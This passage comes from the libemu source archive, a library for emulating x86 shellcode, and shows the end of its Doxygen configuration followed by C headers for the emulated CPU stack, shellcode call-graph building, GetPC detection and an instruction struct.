EXTRACT_ALL is set to YES then this flag will # automatically be disabled. WARN_IF_UNDOCUMENTED = YES # If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for # potential errors in the documentation, such as not documenting some # parameters in a documented function, or documenting parameters that # don't exist or using markup commands wrongly. WARN_IF_DOC_ERROR = YES # This WARN_NO_PARAMDOC option can be abled to get warnings for # functions that are documented, but have no documentation for their parameters # or return value. If set to NO (the default) doxygen will only warn about # wrong or incomplete parameter documentation, but not about the absence of # documentation. WARN_NO_PARAMDOC = YES # The WARN_FORMAT tag determines the format of the warning messages that # doxygen can produce. The string should contain the $file, $line, and $text # tags, which will be replaced by the file and line number from which the # warning originated and the warning text. Optionally the format may contain # $version, which will be replaced by the version of the file (if it could # be obtained via FILE_VERSION_FILTER) WARN_FORMAT = "$file:$line: $text" # The WARN_LOGFILE tag can be used to specify a file to which warning # and error messages should be written. If left blank the output is written # to stderr. WARN_LOGFILE = #--------------------------------------------------------------------------- # configuration options related to the input files #--------------------------------------------------------------------------- # The INPUT tag can be used to specify the files and/or directories that contain # documented source files. You may enter file names like "myfile.cpp" or # directories like "/usr/src/myproject". Separate the files or directories # with spaces. INPUT = src src/functions src/environment/win32 src/environment/linux include include/emu/ include/emu/environment/linux include/emu/environment/win32 # If the value of the INPUT tag contains directories, you can use the # FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank the following patterns are tested: # *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx # *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm FILE_PATTERNS = *.c *.h # The RECURSIVE tag can be used to turn specify whether or not subdirectories # should be searched for input files as well. Possible values are YES and NO. # If left blank NO is used. RECURSIVE = NO # The EXCLUDE tag can be used to specify files and/or directories that should # excluded from the INPUT source files. This way you can easily exclude a # subdirectory from a directory tree whose root is specified with the INPUT tag. EXCLUDE = # The EXCLUDE_SYMLINKS tag can be used select whether or not files or # directories that are symbolic links (a Unix filesystem feature) are excluded # from the input. EXCLUDE_SYMLINKS = NO # If the value of the INPUT tag contains directories, you can use the # EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude # certain files from those directories. Note that the wildcards are matched # against the file with absolute path, so to exclude all test directories # for example use the pattern */test/* EXCLUDE_PATTERNS = # The EXAMPLE_PATH tag can be used to specify one or more files or # directories that contain example code fragments that are included (see # the \include command). EXAMPLE_PATH = # If the value of the EXAMPLE_PATH tag contains directories, you can use the # EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp # and *.h) to filter out the source-files in the directories. If left # blank all files are included. EXAMPLE_PATTERNS = # If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be # searched for input files to be used with the \include or \dontinclude # commands irrespective of the value of the RECURSIVE tag. # Possible values are YES and NO. If left blank NO is used. EXAMPLE_RECURSIVE = NO # The IMAGE_PATH tag can be used to specify one or more files or # directories that contain image that are included in the documentation (see # the \image command). IMAGE_PATH = # The INPUT_FILTER tag can be used to specify a program that doxygen should # invoke to filter for each input file. Doxygen will invoke the filter program # by executing (via popen()) the command , where # is the value of the INPUT_FILTER tag, and is the name of an # input file. Doxygen will then use the output that the filter program writes # to standard output. If FILTER_PATTERNS is specified, this tag will be # ignored. INPUT_FILTER = # The FILTER_PATTERNS tag can be used to specify filters on a per file pattern # basis. Doxygen will compare the file name with each pattern and apply the # filter if there is a match. The filters are a list of the form: # pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further # info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER # is applied to all files. FILTER_PATTERNS = # If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using # INPUT_FILTER) will be used to filter the input files when producing source # files to browse (i.e. when SOURCE_BROWSER is set to YES). FILTER_SOURCE_FILES = NO #--------------------------------------------------------------------------- # configuration options related to source browsing #--------------------------------------------------------------------------- # If the SOURCE_BROWSER tag is set to YES then a list of source files will # be generated. Documented entities will be cross-referenced with these sources. # Note: To get rid of all source code in the generated output, make sure also # VERBATIM_HEADERS is set to NO. SOURCE_BROWSER = NO # Setting the INLINE_SOURCES tag to YES will include the body # of functions and classes directly in the documentation. INLINE_SOURCES = NO # Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct # doxygen to hide any special comment blocks from generated source code # fragments. Normal C and C++ comments will always remain visible. STRIP_CODE_COMMENTS = YES # If the REFERENCED_BY_RELATION tag is set to YES (the default) # then for each documented function all documented # functions referencing it will be listed. REFERENCED_BY_RELATION = YES # If the REFERENCES_RELATION tag is set to YES (the default) # then for each documented function all documented entities # called/used by that function will be listed. REFERENCES_RELATION = YES # If the USE_HTAGS tag is set to YES then the references to source code # will point to the HTML generated by the htags(1) tool instead of doxygen # built-in source browser. The htags tool is part of GNU's global source # tagging system (see http://www.gnu.org/software/global/global.html). You # will need version 4.8.6 or higher. USE_HTAGS = NO # If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen # will generate a verbatim copy of the header file for each class for # which an include is specified. Set to NO to disable this. VERBATIM_HEADERS = YES #--------------------------------------------------------------------------- # configuration options related to the alphabetical class index #--------------------------------------------------------------------------- # If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index # of all compounds will be generated. Enable this if the project # contains a lot of classes, structs, unions or interfaces. ALPHABETICAL_INDEX = NO # If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then # the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns # in which this list will be split (can be a number in the range [1..20]) COLS_IN_ALPHA_INDEX = 5 # In case all classes in a project start with a common prefix, all # classes will be put under the same header in the alphabetical index. # The IGNORE_PREFIX tag can be used to specify one or more prefixes that # should be ignored while generating the index headers. IGNORE_PREFIX = #--------------------------------------------------------------------------- # configuration options related to the HTML output #--------------------------------------------------------------------------- # If the GENERATE_HTML tag is set to YES (the default) Doxygen will # generate HTML output. GENERATE_HTML = YES # The HTML_OUTPUT tag is used to specify where the HTML docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `html' will be used as the default path. HTML_OUTPUT = html # The HTML_FILE_EXTENSION tag can be used to specify the file extension for # each generated HTML page (for example: .htm,.php,.asp). If it is left blank # doxygen will generate files with .html extension. HTML_FILE_EXTENSION = .html # The HTML_HEADER tag can be used to specify a personal HTML header for # each generated HTML page. If it is left blank doxygen will generate a # standard header. HTML_HEADER = # The HTML_FOOTER tag can be used to specify a personal HTML footer for # each generated HTML page. If it is left blank doxygen will generate a # standard footer. HTML_FOOTER = # The HTML_STYLESHEET tag can be used to specify a user-defined cascading # style sheet that is used by each HTML page. It can be used to # fine-tune the look of the HTML output. If the tag is left blank doxygen # will generate a default style sheet. Note that doxygen will try to copy # the style sheet file to the HTML output directory, so don't put your own # stylesheet in the HTML output directory as well, or it will be erased! HTML_STYLESHEET = # If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, # files or namespaces will be aligned in HTML using tables. If set to # NO a bullet list will be used. HTML_ALIGN_MEMBERS = YES # If the GENERATE_HTMLHELP tag is set to YES, additional index files # will be generated that can be used as input for tools like the # Microsoft HTML help workshop to generate a compressed HTML help file (.chm) # of the generated HTML documentation. GENERATE_HTMLHELP = NO # If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can # be used to specify the file name of the resulting .chm file. You # can add a path in front of the file if the result should not be # written to the html output directory. CHM_FILE = # If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can # be used to specify the location (absolute path including file name) of # the HTML help compiler (hhc.exe). If non-empty doxygen will try to run # the HTML help compiler on the generated index.hhp. HHC_LOCATION = # If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag # controls if a separate .chi index file is generated (YES) or that # it should be included in the master .chm file (NO). GENERATE_CHI = NO # If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag # controls whether a binary table of contents is generated (YES) or a # normal table of contents (NO) in the .chm file. BINARY_TOC = NO # The TOC_EXPAND flag can be set to YES to add extra items for group members # to the contents of the HTML help documentation and to the tree view. TOC_EXPAND = NO # The DISABLE_INDEX tag can be used to turn on/off the condensed index at # top of each HTML page. The value NO (the default) enables the index and # the value YES disables it. DISABLE_INDEX = NO # This tag can be used to set the number of enum values (range [1..20]) # that doxygen will group on one line in the generated HTML documentation. ENUM_VALUES_PER_LINE = 4 # If the GENERATE_TREEVIEW tag is set to YES, a side panel will be # generated containing a tree-like index structure (just like the one that # is generated for HTML Help). For this to work a browser that supports # JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, # Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are # probably better off using the HTML help feature. GENERATE_TREEVIEW = YES # If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be # used to set the initial width (in pixels) of the frame in which the tree # is shown. TREEVIEW_WIDTH = 250 #--------------------------------------------------------------------------- # configuration options related to the LaTeX output #--------------------------------------------------------------------------- # If the GENERATE_LATEX tag is set to YES (the default) Doxygen will # generate Latex output. GENERATE_LATEX = YES # The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `latex' will be used as the default path. LATEX_OUTPUT = latex # The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be # invoked. If left blank `latex' will be used as the default command name. LATEX_CMD_NAME = latex # The MAKEINDEX_CMD_NAME tag can be used to specify the command name to # generate index for LaTeX. If left blank `makeindex' will be used as the # default command name. MAKEINDEX_CMD_NAME = makeindex # If the COMPACT_LATEX tag is set to YES Doxygen generates more compact # LaTeX documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_LATEX = NO # The PAPER_TYPE tag can be used to set the paper type that is used # by the printer. Possible values are: a4, a4wide, letter, legal and # executive. If left blank a4wide will be used. PAPER_TYPE = a4wide # The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX # packages that should be included in the LaTeX output. EXTRA_PACKAGES = # The LATEX_HEADER tag can be used to specify a personal LaTeX header for # the generated latex document. The header should contain everything until # the first chapter. If it is left blank doxygen will generate a # standard header. Notice: only use this tag if you know what you are doing! LATEX_HEADER = # If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated # is prepared for conversion to pdf (using ps2pdf). The pdf file will # contain links (just like the HTML output) instead of page references # This makes the output suitable for online browsing using a pdf viewer. PDF_HYPERLINKS = YES # If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of # plain latex in the generated Makefile. Set this option to YES to get a # higher quality PDF documentation. USE_PDFLATEX = YES # If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. # command to the generated LaTeX files. This will instruct LaTeX to keep # running if errors occur, instead of asking the user for help. # This option is also used when generating formulas in HTML. LATEX_BATCHMODE = NO # If LATEX_HIDE_INDICES is set to YES then doxygen will not # include the index chapters (such as File Index, Compound Index, etc.) # in the output. LATEX_HIDE_INDICES = NO #--------------------------------------------------------------------------- # configuration options related to the RTF output #--------------------------------------------------------------------------- # If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output # The RTF output is optimized for Word 97 and may not look very pretty with # other RTF readers or editors. GENERATE_RTF = NO # The RTF_OUTPUT tag is used to specify where the RTF docs will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `rtf' will be used as the default path. RTF_OUTPUT = rtf # If the COMPACT_RTF tag is set to YES Doxygen generates more compact # RTF documents. This may be useful for small projects and may help to # save some trees in general. COMPACT_RTF = NO # If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated # will contain hyperlink fields. The RTF file will # contain links (just like the HTML output) instead of page references. # This makes the output suitable for online browsing using WORD or other # programs which support those fields. # Note: wordpad (write) and others do not support links. RTF_HYPERLINKS = NO # Load stylesheet definitions from file. Syntax is similar to doxygen's # config file, i.e. a series of assignments. You only have to provide # replacements, missing definitions are set to their default value. RTF_STYLESHEET_FILE = # Set optional variables used in the generation of an rtf document. # Syntax is similar to doxygen's config file. RTF_EXTENSIONS_FILE = #--------------------------------------------------------------------------- # configuration options related to the man page output #--------------------------------------------------------------------------- # If the GENERATE_MAN tag is set to YES (the default) Doxygen will # generate man pages GENERATE_MAN = YES # The MAN_OUTPUT tag is used to specify where the man pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `man' will be used as the default path. MAN_OUTPUT = /tmp/libemu_doxy/man # The MAN_EXTENSION tag determines the extension that is added to # the generated man pages (default is the subroutine's section .3) MAN_EXTENSION = .3 # If the MAN_LINKS tag is set to YES and Doxygen generates man output, # then it will generate one additional man file for each entity # documented in the real man page(s). These additional files # only source the real man page, but without them the man command # would be unable to find the correct page. The default is NO. MAN_LINKS = NO #--------------------------------------------------------------------------- # configuration options related to the XML output #--------------------------------------------------------------------------- # If the GENERATE_XML tag is set to YES Doxygen will # generate an XML file that captures the structure of # the code including all documentation. GENERATE_XML = NO # The XML_OUTPUT tag is used to specify where the XML pages will be put. # If a relative path is entered the value of OUTPUT_DIRECTORY will be # put in front of it. If left blank `xml' will be used as the default path. XML_OUTPUT = xml # The XML_SCHEMA tag can be used to specify an XML schema, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_SCHEMA = # The XML_DTD tag can be used to specify an XML DTD, # which can be used by a validating XML parser to check the # syntax of the XML files. XML_DTD = # If the XML_PROGRAMLISTING tag is set to YES Doxygen will # dump the program listings (including syntax highlighting # and cross-referencing information) to the XML output. Note that # enabling this will significantly increase the size of the XML output. XML_PROGRAMLISTING = YES #--------------------------------------------------------------------------- # configuration options for the AutoGen Definitions output #--------------------------------------------------------------------------- # If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will # generate an AutoGen Definitions (see autogen.sf.net) file # that captures the structure of the code including all # documentation. Note that this feature is still experimental # and incomplete at the moment. GENERATE_AUTOGEN_DEF = NO #--------------------------------------------------------------------------- # configuration options related to the Perl module output #--------------------------------------------------------------------------- # If the GENERATE_PERLMOD tag is set to YES Doxygen will # generate a Perl module file that captures the structure of # the code including all documentation. Note that this # feature is still experimental and incomplete at the # moment. GENERATE_PERLMOD = NO # If the PERLMOD_LATEX tag is set to YES Doxygen will generate # the necessary Makefile rules, Perl scripts and LaTeX code to be able # to generate PDF and DVI output from the Perl module output. PERLMOD_LATEX = NO # If the PERLMOD_PRETTY tag is set to YES the Perl module output will be # nicely formatted so it can be parsed by a human reader. This is useful # if you want to understand what is going on. On the other hand, if this # tag is set to NO the size of the Perl module output will be much smaller # and Perl will parse it just the same. PERLMOD_PRETTY = YES # The names of the make variables in the generated doxyrules.make file # are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. # This is useful so different doxyrules.make files included by the same # Makefile don't overwrite each other's variables. PERLMOD_MAKEVAR_PREFIX = #--------------------------------------------------------------------------- # Configuration options related to the preprocessor #--------------------------------------------------------------------------- # If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will # evaluate all C-preprocessor directives found in the sources and include # files. ENABLE_PREPROCESSING = YES # If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro # names in the source code. If set to NO (the default) only conditional # compilation will be performed. Macro expansion can be done in a controlled # way by setting EXPAND_ONLY_PREDEF to YES. MACRO_EXPANSION = NO # If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES # then the macro expansion is limited to the macros specified with the # PREDEFINED and EXPAND_AS_PREDEFINED tags. EXPAND_ONLY_PREDEF = NO # If the SEARCH_INCLUDES tag is set to YES (the default) the includes files # in the INCLUDE_PATH (see below) will be search if a #include is found. SEARCH_INCLUDES = YES # The INCLUDE_PATH tag can be used to specify one or more directories that # contain include files that are not input files but should be processed by # the preprocessor. INCLUDE_PATH = # You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard # patterns (like *.h and *.hpp) to filter out the header-files in the # directories. If left blank, the patterns specified with FILE_PATTERNS will # be used. INCLUDE_FILE_PATTERNS = # The PREDEFINED tag can be used to specify one or more macro names that # are defined before the preprocessor is started (similar to the -D option of # gcc). The argument of the tag is a list of macros of the form: name # or name=definition (no spaces). If the definition and the = are # omitted =1 is assumed. To prevent a macro definition from being # undefined via #undef or recursively expanded use the := operator # instead of the = operator. PREDEFINED = # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then # this tag can be used to specify a list of macro names that should be expanded. # The macro definition that is found in the sources will be used. # Use the PREDEFINED tag if you want to use a different macro definition. EXPAND_AS_DEFINED = # If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then # doxygen's preprocessor will remove all function-like macros that are alone # on a line, have an all uppercase name, and do not end with a semicolon. Such # function macros are typically used for boiler-plate code, and will confuse # the parser if not removed. SKIP_FUNCTION_MACROS = YES #--------------------------------------------------------------------------- # Configuration::additions related to external references #--------------------------------------------------------------------------- # The TAGFILES option can be used to specify one or more tagfiles. # Optionally an initial location of the external documentation # can be added for each tagfile. The format of a tag file without # this location is as follows: # TAGFILES = file1 file2 ... # Adding location for the tag files is done as follows: # TAGFILES = file1=loc1 "file2 = loc2" ... # where "loc1" and "loc2" can be relative or absolute paths or # URLs. If a location is present for each tag, the installdox tool # does not have to be run to correct the links. # Note that each tag file must have a unique name # (where the name does NOT include the path) # If a tag file is not located in the directory in which doxygen # is run, you must also specify the path to the tagfile here. TAGFILES = # When a file name is specified after GENERATE_TAGFILE, doxygen will create # a tag file that is based on the input files it reads. GENERATE_TAGFILE = # If the ALLEXTERNALS tag is set to YES all external classes will be listed # in the class index. If set to NO only the inherited external classes # will be listed. ALLEXTERNALS = NO # If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed # in the modules index. If set to NO, only the current project's groups will # be listed. EXTERNAL_GROUPS = YES # The PERL_PATH should be the absolute path and name of the perl script # interpreter (i.e. the result of `which perl'). PERL_PATH = /usr/bin/perl #--------------------------------------------------------------------------- # Configuration options related to the dot tool #--------------------------------------------------------------------------- # If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will # generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base # or super classes. Setting the tag to NO turns the diagrams off. Note that # this option is superseded by the HAVE_DOT option below. This is only a # fallback. It is recommended to install and use dot, since it yields more # powerful graphs. CLASS_DIAGRAMS = YES # If set to YES, the inheritance and collaboration graphs will hide # inheritance and usage relations if the target is undocumented # or is not a class. HIDE_UNDOC_RELATIONS = YES # If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is # available from the path. This tool is part of Graphviz, a graph visualization # toolkit from AT&T and Lucent Bell Labs. The other options in this section # have no effect if this option is set to NO (the default) HAVE_DOT = YES # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect inheritance relations. Setting this tag to YES will force the # the CLASS_DIAGRAMS tag to NO. CLASS_GRAPH = YES # If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen # will generate a graph for each documented class showing the direct and # indirect implementation dependencies (inheritance, containment, and # class references variables) of the class with other documented classes. COLLABORATION_GRAPH = YES # If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen # will generate a graph for groups, showing the direct groups dependencies GROUP_GRAPHS = YES # If the UML_LOOK tag is set to YES doxygen will generate inheritance and # collaboration diagrams in a style similar to the OMG's Unified Modeling # Language. UML_LOOK = YES # If set to YES, the inheritance and collaboration graphs will show the # relations between templates and their instances. TEMPLATE_RELATIONS = NO # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT # tags are set to YES then doxygen will generate a graph for each documented # file showing the direct and indirect include dependencies of the file with # other documented files. INCLUDE_GRAPH = YES # If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and # HAVE_DOT tags are set to YES then doxygen will generate a graph for each # documented header file showing the documented files that directly or # indirectly include this file. INCLUDED_BY_GRAPH = YES # If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will # generate a call dependency graph for every global function or class method. # Note that enabling this option will significantly increase the time of a run. # So in most cases it will be better to enable call graphs for selected # functions only using the \callgraph command. CALL_GRAPH = YES # If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen # will graphical hierarchy of all classes instead of a textual one. GRAPHICAL_HIERARCHY = YES # If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES # then doxygen will show the dependencies a directory has on other directories # in a graphical way. The dependency relations are determined by the #include # relations between the files in the directories. DIRECTORY_GRAPH = YES # The DOT_IMAGE_FORMAT tag can be used to set the image format of the images # generated by dot. Possible values are png, jpg, or gif # If left blank png will be used. DOT_IMAGE_FORMAT = png # The tag DOT_PATH can be used to specify the path where the dot tool can be # found. If left blank, it is assumed the dot tool can be found in the path. DOT_PATH = # The DOTFILE_DIRS tag can be used to specify one or more directories that # contain dot files that are included in the documentation (see the # \dotfile command). DOTFILE_DIRS = # The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width # (in pixels) of the graphs generated by dot. If a graph becomes larger than # this value, doxygen will try to truncate the graph, so that it fits within # the specified constraint. Beware that most browsers cannot cope with very # large images. MAX_DOT_GRAPH_WIDTH = 1024 # The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height # (in pixels) of the graphs generated by dot. If a graph becomes larger than # this value, doxygen will try to truncate the graph, so that it fits within # the specified constraint. Beware that most browsers cannot cope with very # large images. MAX_DOT_GRAPH_HEIGHT = 1024 # The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the # graphs generated by dot. A depth value of 3 means that only nodes reachable # from the root by following a path via at most 3 edges will be shown. Nodes # that lay further from the root node will be omitted. Note that setting this # option to 1 or 2 may greatly reduce the computation time needed for large # code bases. Also note that a graph may be further truncated if the graph's # image dimensions are not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH # and MAX_DOT_GRAPH_HEIGHT). If 0 is used for the depth value (the default), # the graph is not depth-constrained. MAX_DOT_GRAPH_DEPTH = 0 # Set the DOT_TRANSPARENT tag to YES to generate images with a transparent # background. This is disabled by default, which results in a white background. # Warning: Depending on the platform used, enabling this option may lead to # badly anti-aliased labels on the edges of a graph (i.e. they become hard to # read). DOT_TRANSPARENT = NO # Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output # files in one run (i.e. multiple -o and -T options on the command line). This # makes dot run faster, but since only newer versions of dot (>1.8.10) # support this, this feature is disabled by default. DOT_MULTI_TARGETS = NO # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will # generate a legend page explaining the meaning of the various boxes and # arrows in the dot generated graphs. GENERATE_LEGEND = YES # If the DOT_CLEANUP tag is set to YES (the default) Doxygen will # remove the intermediate dot files that are used to generate # the various graphs. DOT_CLEANUP = YES #--------------------------------------------------------------------------- # Configuration::additions related to the search engine #--------------------------------------------------------------------------- # The SEARCHENGINE tag specifies whether or not a search engine should be # used. If set to NO the values of all tags below this one will be ignored. SEARCHENGINE = YES libemu-0.2.0+git20120122+564/include/0000755000175300017530000000000011706767213015466 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/include/Makefile.am0000644000175300017530000000006211706767213017520 0ustar dt-npbdt-npb# $Id$ AUTOMAKE_OPTIONS = foreign SUBDIRS = emu libemu-0.2.0+git20120122+564/include/emu/0000755000175300017530000000000011706767213016254 5ustar dt-npbdt-npblibemu-0.2.0+git20120122+564/include/emu/emu_cpu_stack.h0000644000175300017530000000647211706767213021260 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef EMU_CPU_STACK_H_ #define EMU_CPU_STACK_H_ #define PUSH_DWORD(cpu, arg) \ { \ uint32_t pushme; \ bcopy(&(arg), &pushme, 4); \ if (cpu->reg[esp] < 4) \ { \ emu_errno_set((cpu)->emu, ENOMEM); \ emu_strerror_set((cpu)->emu, \ "ran out of stack space writing a dword\n"); \ return -1; \ } \ cpu->reg[esp]-=4; \ { \ int32_t memret = emu_memory_write_dword(cpu->mem, cpu->reg[esp], pushme); \ if (memret != 0) \ return memret; \ } \ } #define PUSH_WORD(cpu, arg) \ { \ uint16_t pushme; \ bcopy(&(arg), &pushme, 2); \ if (cpu->reg[esp] < 2) \ { \ emu_errno_set((cpu)->emu, ENOMEM); \ emu_strerror_set((cpu)->emu, \ "ran out of stack space writing a word\n"); \ return -1; \ } \ cpu->reg[esp]-=2; \ { \ int32_t memret = emu_memory_write_word(cpu->mem, cpu->reg[esp], pushme);\ if (memret != 0) \ return memret; \ } \ } #define PUSH_BYTE(cpu, arg) \ { \ uint8_t pushme = arg; \ if (cpu->reg[esp] < 1) \ { \ emu_errno_set((cpu)->emu, ENOMEM); \ emu_strerror_set((cpu)->emu, \ "ran out of stack space writing a byte\n"); \ return -1; \ } \ cpu->reg[esp]-=1; \ { \ int32_t memret = emu_memory_write_byte(cpu->mem, cpu->reg[esp], pushme); \ if (memret != 0) \ return memret; \ } \ } #define POP_DWORD(cpu, dst_p) \ { int32_t ret = emu_memory_read_dword(cpu->mem, cpu->reg[esp], dst_p); \ if( ret != 0 ) \ return ret; \ else \ if ( dst_p != &cpu->reg[esp] ) \ cpu->reg[esp] += 4; } #define POP_WORD(cpu, dst_p) \ { int32_t ret = emu_memory_read_word(cpu->mem, cpu->reg[esp], dst_p); \ if( ret != 0 ) \ return ret; \ else \ cpu->reg[esp] += 2; } #define POP_BYTE(cpu, dst_p) \ { int32_t ret = emu_memory_read_byte(cpu->mem, cpu->reg[esp], dst_p); \ if( ret != 0 ) \ return ret; \ else \ cpu->reg[esp] += 1; } #endif /*EMU_CPU_STACK_H_*/ libemu-0.2.0+git20120122+564/include/emu/emu_source.h0000644000175300017530000000341611706767213020577 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef HAVE_EMU_SOURCE_H #define HAVE_EMU_SOURCE_H struct emu_track_and_source; struct emu_vertex; /** * Create the callgraph of the shellcode being stored in the emu memory. * * @param e the emu * @param es the emu_source_and_track struct which stores the graph * @param datastart where to start * @param datasize where to stop * * @return */ uint32_t emu_source_instruction_graph_create(struct emu *e, struct emu_track_and_source *es, uint32_t datastart, uint32_t datasize); void emu_source_forward_bfs(struct emu_track_and_source *et, struct emu_vertex *from); void emu_source_backward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev); #endif libemu-0.2.0+git20120122+564/include/emu/emu_getpc.h0000644000175300017530000000254611706767213020404 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include /** * * @param e * @param data * @param size * @param offset * * @return 1 for getpc via call or fnstenv * 2 for mov withing fs: segment */ uint8_t emu_getpc_check(struct emu *e, uint8_t *data, uint32_t size, uint32_t offset); libemu-0.2.0+git20120122+564/include/emu/emu_instruction.h0000644000175300017530000000351111706767213021654 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #ifndef EMU_INSTRUCTION_H #define EMU_INSTRUCTION_H #include #include #include "emu/emu_track.h" /** * The emu_instruction is the dummy struct for fpu/cpu instructions * The track & source information is used to * create the static instruction graph and run the binary * backwards traversal. * * @see emu_tracking_info */ struct emu_instruction { uint16_t prefixes; uint8_t opc; uint8_t is_fpu : 1; union { struct emu_cpu_instruction cpu; struct emu_fpu_instruction fpu; }; struct { struct emu_tracking_info init; struct emu_tracking_info need; } track; struct { 